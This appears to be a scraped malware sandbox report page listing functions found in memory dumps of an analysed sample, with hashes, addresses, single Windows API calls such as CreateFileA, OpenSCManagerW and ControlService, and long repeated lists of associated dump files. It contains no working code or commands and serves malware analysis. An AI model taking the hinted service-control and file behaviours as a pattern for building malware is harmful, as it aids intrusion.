Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2ece3eb66b5a576c501c2f891d4f1efd35c687c382e803ceb8a21bad1154eaa8
Instruction ID: 5c479c1484929e248a9a8dadcae8d23ebe248d61aca7eb07a3aed20af359d606
Opcode Fuzzy Hash: 2ece3eb66b5a576c501c2f891d4f1efd35c687c382e803ceb8a21bad1154eaa8
Instruction Fuzzy Hash: 3A417FF250C210AFE709AF19D945BBEFBE8EF85321F22492DE6D5C2640D67448808B67

Function 005EB496 Relevance: 1.6, APIs: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 005EB50F

Memory Dump Source

Source File: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 69bbb39cd68763be9ecbf547db0c6865ae969971178d775f184e5f6549f3b73a
Instruction ID: 25cc0da24e0e34b90711e44b681207a4b3714e53a1157fbb92c48041571cba6b
Opcode Fuzzy Hash: 69bbb39cd68763be9ecbf547db0c6865ae969971178d775f184e5f6549f3b73a
Instruction Fuzzy Hash: 3221FBB748C2856EEB06CF5656945BF7FB8FB82330B30495BF482D2583D3A41E089635

Function 005EB627 Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(58585AE6), ref: 005EB6A5

Memory Dump Source

Source File: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7cf09a27cbaccb667bbdadfd3313ff64baf2fd72b955b927df1034ba14a7e2fe
Instruction ID: 13cffda818a26ad756eaa231d2973b394a2b57a39e7ca542ac803df5b6eed377
Opcode Fuzzy Hash: 7cf09a27cbaccb667bbdadfd3313ff64baf2fd72b955b927df1034ba14a7e2fe
Instruction Fuzzy Hash: F201DBBB1491617EB204DE5A6A50EFFBB6CF6C6771730482BF486C6151C3600D485375

Function 05390D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05390DCD

Memory Dump Source

Source File: 00000005.00000002.2482717476.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 790792508243266f4d17055d8674a910898962604480f45bb47c76b4f77bb925
Instruction ID: 3b0ec06fb62880f633a025fb79f25aa2b24e866294b96da4be77910b3319d8db
Opcode Fuzzy Hash: 790792508243266f4d17055d8674a910898962604480f45bb47c76b4f77bb925
Instruction Fuzzy Hash: 6F2104B68052199FCB54CF99D884ADEFBF4FF88720F14821AD909AB204D774A540CBA4

Function 05390D42 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05390DCD

Memory Dump Source

Source File: 00000005.00000002.2482717476.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 00f49ffa7cc794aeafb89fe0612dce36b9f3bf7ef1122212630c3252417bf367
Instruction ID: fec25dd2aab1ef561866f8b0a8b93fed7b9aa9e40acc7dadadbfc5810495a347
Opcode Fuzzy Hash: 00f49ffa7cc794aeafb89fe0612dce36b9f3bf7ef1122212630c3252417bf367
Instruction Fuzzy Hash: E42104BAC012199FCB54CF99D988BDEBBF4BF88710F14861AD909AB244D774A540CBA4

Function 05391510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05391580

Memory Dump Source

Source File: 00000005.00000002.2482717476.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: bd7cd47ba8824f2656643c963417f64d21a6b94f4834032d325c8c02b640666b
Instruction ID: b076bd3de66fa16b1c7b691ecd4be77d9b2b94b543aa6df2673c0736896834e8
Opcode Fuzzy Hash: bd7cd47ba8824f2656643c963417f64d21a6b94f4834032d325c8c02b640666b
Instruction Fuzzy Hash: 0A11E4B59043499FDB10CF9AC584BDEFBF4FB48324F108029E559A3250D778AA44CFA5

Function 05391509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05391580

Memory Dump Source

Source File: 00000005.00000002.2482717476.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9f88a5a40953091ae9830be34e1c0e53231b75bb589e1e50074636fabf65b990
Instruction ID: 92cd26d89492833cf55f11e52cae14748d37b08cdcec32a74013e147552c255a
Opcode Fuzzy Hash: 9f88a5a40953091ae9830be34e1c0e53231b75bb589e1e50074636fabf65b990
Instruction Fuzzy Hash: E72103B6900249CFDB10CF9AC584BDEBBF4BB48320F14802AE519A3250D378A644CFA5

Function 006210E0 Relevance: 1.6, APIs: 1, Instructions: 52
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 0062111E

Memory Dump Source

Source File: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 2709267b453a8d5bc5befe0f046d86768b9a1420c197d16e6ac5c6ca3e63627f
Instruction ID: 138f75d5ff513d4faf00ceb01bfdeda937301b3eda75a86b85617bdf33c43034
Opcode Fuzzy Hash: 2709267b453a8d5bc5befe0f046d86768b9a1420c197d16e6ac5c6ca3e63627f
Instruction Fuzzy Hash: 8D0147B20882563CE7598BB09AA67EF7B29EF53330F308119F1014A483D6A11C145B25

Function 005EB646 Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(58585AE6), ref: 005EB6A5

Memory Dump Source

Source File: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
